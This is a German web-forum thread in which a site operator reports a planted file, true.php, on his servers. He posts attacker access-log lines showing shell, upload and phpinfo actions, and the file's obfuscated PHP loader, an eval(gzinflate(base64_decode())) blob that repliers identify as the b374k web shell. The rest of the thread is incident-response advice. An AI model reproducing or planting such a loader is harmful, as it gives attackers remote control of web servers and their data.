true.php - plötzlich fremde Datei auf dem Server
Ron
- webserver
4 Sven Rautenberg
Hallo Miteinander,
wir haben ein akutes Problem an den Backen...
Auf unserem Server befindet sich plötzlich eine Datei namens true.php über die anscheinend ungewünschte Aktionen ausgeführt werden.
Wie die dahin kommt, keine Ahnung...
Hat jemand ebenfalls damit schon zutun gehabt?
Diese Datei taucht plötzlich sogar auf verschiedenen Servern von uns auf.
Auf einem Server wurden sogar alle Dateien von allen Projekten gelöscht.
Das dies auch mit der true.php-Datei zu tun hat, kann ich nur noch anhand der Log-Datei sehen....
Beispiel aus der Log-Datei:
Die &&& habe ich eingefügt, damit keine Internas im Netz stehen...
85.25.6.85 - - [03/Apr/2012:17:31:09 +0200] "GET /true.php?y=/var/www/web&&&/html/&x=mysql HTTP/1.1" 200 1515 "http://www.&&&&&&.de/true.php" "Opera/9.80 (Windows NT 6.1; U; en) Presto/2.10.229 Version/11.61"
85\.25.6.85 - - [03/Apr/2012:17:31:10 +0200] "GET /true.php?y=/var/www/web&&&/html/&x=phpinfo HTTP/1.1" 200 9381 "http://www.&&&&&&&&&.de/true.php?y=/var/www/web&&&/html/&x=mysql" "Opera/9.80 (Windows NT 6.1; U; en) Presto/2.10.229 Version/11.61"
85\.25.6.85 - - [03/Apr/2012:17:31:14 +0200] "GET /true.php?y=/var/www/web&&&/html/&x=netsploit HTTP/1.1" 200 1775 "http://www.&&&&&&&&&.de/true.php?y=/var/www/web&&&/html/&x=phpinfo" "Opera/9.80 (Windows NT 6.1; U; en) Presto/2.10.229 Version/11.61"
85\.25.6.85 - - [03/Apr/2012:17:31:16 +0200] "GET /true.php?y=/var/www/web&&&/html/&x=upload HTTP/1.1" 200 1684 "http://www.&&&&&&&&&.de/true.php?y=/var/www/web&&&/html/&x=netsploit" "Opera/9.80 (Windows NT 6.1; U; en) Presto/2.10.229 Version/11.61"
85\.25.6.85 - - [03/Apr/2012:17:31:19 +0200] "GET /true.php?y=/var/www/web&&&/html/&x=shell HTTP/1.1" 200 1434 "http://www.&&&&&&&&&.de/true.php?y=/var/www/web&&&/html/&x=upload" "Opera/9.80 (Windows NT 6.1; U; en) Presto/2.10.229 Version/11.61"
85\.25.6.85 - - [03/Apr/2012:17:31:21 +0200] "GET /true.php?y=/var/www/web&&&/html/&x=php HTTP/1.1" 200 1414 "http://www.&&&&&&&&&.de/true.php?y=/var/www/web&&&/html/&x=shell" "Opera/9.80 (Windows NT 6.1; U; en) Presto/2.10.229 Version/11.61"
85\.25.6.85 - - [03/Apr/2012:17:31:23 +0200] "POST /true.php?y=/var/www/web&&&/html/&x=php
Die letzte Aktion war diese:
85\.25.6.85 - - [03/Apr/2012:17:33:57 +0200] "POST /true.php?y=/var/&x=shell HTTP/1.1" 200 1405 "http://www.&&&&&&&&&.de/true.php?y=/var/&x=shell" "Opera/9.80 (Windows NT 6.1; U; en) Presto/2.10.229 Version/11.61"
Danach erscheint nur noch 404, d.h. keine Dateien werden mehr gefunden, alle Ordner auf dem Server sind leer...
Der Code der true.php sieht folgendermaßen aus:
<?php
// O_O
// no malware on this code, you can check it by yourself ;-)
@error_reporting(0);
@set_time_limit(0);
$code = "7T37W+O2sr/f77v/g+vDKaGEPHmFQLpJSCC8AklIgN1+HMd2YhO/sJ3n3v7vVyPJtuw4Abbb9pzT
0i7Y0mhGGs2MXqPx//6POkiojiO7iY3ns1rn86akbf6yxf34I8cmcD+ccDy/tfWV2xiomsydcExm
kSQuUOoneHgeyu6zaBqubLhOAudtFTlFFiTZTvBVkrHjzi35iBMsS1NFwVVNI22KruzuOK4tCzof
U0KTjaGrHHF8CsGgF4J6sRUDKqmOZToqoEU0XFcQFR2lFzkoYQi6fPKF51N9wcEvtI4p/gtfBMKy
qJi0TehlpqJyv3Ky5sjLvBouVGuJXyRxDc8IAMO34UI2RFOSEysZGNPIDnCQZeBsBxB/Mf4c5qWG
i3X8i/JO1YeIcYg7n8z+s6jJgpFARTckxA1dGKpi3zR1D3aOIIFbAQ9xaZSkGpD4CTFMRaVkR12g
CkmpjQHAyzMXZcozSwPWbgySfIoP0uHPZ9EcG6hK6HFrJ4sQfooXUz4FlD7zuqrLPNQlgEPckXeg
s2xTO+KscR91B89C1GaWassOIJEEV07wNp/UR6i+ciKThP+y6L9cJp/Z2lqDWBdmO6iBJ3wqsZ/5
.....
fEMyWK946wo6C3ZkBB2eZ4Pt4OHgNZhmRyCqfKka5HkzcO6dO40BX3xGVPBLZJ8RreT49WHyvNia
v5OsNW4/3Nuqtb6bEwm0zJGNSWKzVbtudmrP5dPTFhjqn7lVOUdcgs/mDlIZ9F+Wh431VSL6Larh
2ft3Sud3FMz1K9zfQzBjxZAOwH6rqcGLWxX+u8nn77Nn8pHNkhIajj5eBdYzNLYKdCrn0eaCShT9
GYeXVkz5dfQW5tzfWyp/ypZKMN36LnsqS5r0b7KrgkMff0MYXRI5+Xc5ugSRMg1t/rFIup/wlDIU
P9ebKb5xxBlqJHYRwDz9ngeey0YidNr58ZPNFZF4Yw8333uEyS2H2SVOSRHR8RKZeAfhc3sPIFic
Bl8fjZPNQSyZwTKdT7YO3hw2XZmEwZKnjVat2mm2Hp/btdtyq4wet1bS1EcIU4QiTWPaRU/ryKfj
Q0BwfX1EXEu8T4h6HtIrnE7YaOlULonWEpdnCEoPn9fh/h8=";
@eval(gzinflate(base64_decode($code)));
?>
Der ganze Code beträgt ca. 190 Zeilen.
Ich kann ihn hier nicht posten, da mir geschwätzigkeit unterstellt wird ;)
so wie ich das sehe, wurde auch die htaccess ausgetauscht.
Den Code dieser htaccess kann ich gerne auch hier Posten.
Vorerst aber erstmal soweit diese Infos, sonst wird der Post zu lange...
Über Hilfe würde ich mich freuen.
Bin gerade ein bisschen überfordert mit dem was hier los ist.
Gruß Ron
Moin!
wir haben ein akutes Problem an den Backen...
Auf unserem Server befindet sich plötzlich eine Datei namens true.php über die anscheinend ungewünschte Aktionen ausgeführt werden.
Ja, irgendwo auf deinem Server ist eine Sicherheitslücke, die diesen Angriff erlaubt.
Finde die Lücke und schließe sie.
Schritt 1: Ändere alle Passwörter, die Zugang zum Server verschaffen, auf zufällige Werte mit MINDESTENS 10 Zeichen Länge. Keepass wäre ein geeignetes Programm zur Erzeugung und Verwaltung von deinen Passwörtern.
Schritt 2: Analysiere, wie diese Datei entstanden ist. Sichere sämtliche Serverlogfiles extern (downloaden) und analysiere sie. Parallel wäre ein Codeaudit nicht verkehrt, angefangen mit der Prüfung, ob für die eingesetzten Versionen verwendeter Software und -bibliotheken Sicherheitslücken berichtet wurden.
- Sven Rautenberg
Hello,
Schritt 2: Analysiere, wie diese Datei entstanden ist. Sichere sämtliche Serverlogfiles extern (downloaden) und analysiere sie. Parallel wäre ein Codeaudit nicht verkehrt, angefangen mit der Prüfung, ob für die eingesetzten Versionen verwendeter Software und -bibliotheken Sicherheitslücken berichtet wurden.
Dazu schaue Dir insbesondere alle Zeilen an, die kein GET enthalten, sondern vermutlich POST.
Es ist auch wahrscheinlich, dass ein nicht vernünftig abgesichertes Upload-Modul für Bilder, Dateien o.ä. für die Lücke verantwortlich ist.
In welchem Verzeichnis / welchen Verzeichnissen wurde denn diese true.php gefunden?
Liebe Grüße aus dem schönen Oberharz
Tom vom Berg
Danke für eure Antworten...
Das Uploadscript ist wohl ein kleines einfaches CMS das auf Text-Dateien basiert.... mit welchem man auch bilder hochladen kann.
Ich bin mir gerade nicht sicher ob das CMS ohne Passwort aufgerufen werden konnte. Würde das sicerheitstechnisch ausreichen? Also das das Script in einem per htaccess PAsswortgeschützten Bereich liegt?
Das true.php-Script liegt auf der obersten Ebene...
In dem CMS-Script befindet sich im Ordner wo man die Bilder hochlädt eine php-Datei die von meinem Rechner als schadhafter Code identifiziert wird.
Über diesen Code wurde die true-Php-Datei hochgeladen?
Ich habe die True-Php-Datei mal ausgeführt und siehe da, ein schönes Tool kommt zum vorschein.
Habe mal nen Screeshoot davon gemacht.
http://www.abspacker.de/beispiel.gif
NAtürlich internas übermalt...
Gruß Ron
Hallo Ron,
Ich habe die True-Php-Datei mal ausgeführt und siehe da, ein schönes Tool kommt zum vorschein.
http://www.abspacker.de/beispiel.gif
das ist die b374k-Shell.
Freundliche Grüße
Vinzenz
Ich bin mir gerade nicht sicher ob das CMS ohne Passwort aufgerufen werden konnte.
Das solltest Du Dir aber sein.
Welches CMS übrigens. Vielleicht hat der die Angreifbarkeit längst erkannt und ein Update bereit gestellt?
Ich befürchte der Server muss eventuell neu installiert werden - Es gab neulich z.B. auch einen Bug in einigen Linux Kernels, da konnte ein gewöhnlicher Benutzer sogar leicht Root-Rechte erhalten:
http://www.heise.de/security/meldung/Linux-Root-Rechte-durch-Speicherzugriff-1419608.html
Wenn derlei geschehen ist, dann ist auf dem Server nichts mehr sicher.
Du solltest sicherheitshalber den Support Deines Hosters informieren.
Fred
Schritt 1: Ändere alle Passwörter, die Zugang zum Server verschaffen, auf zufällige Werte mit MINDESTENS 10 Zeichen Länge. Keepass wäre ein geeignetes Programm zur Erzeugung und Verwaltung von deinen Passwörtern.
Sollte Schritt 1 nicht sein, den kompromittierten Server vom Netz zu nehmen? Wer weiß, welche Privilegien der Angreifer mittlerweile besitzt. Selbst wenn es nur die Remote-Console über HTTP ist, sollte doch der HTTP-Daemon sofort abgeschaltet werden?
Mathias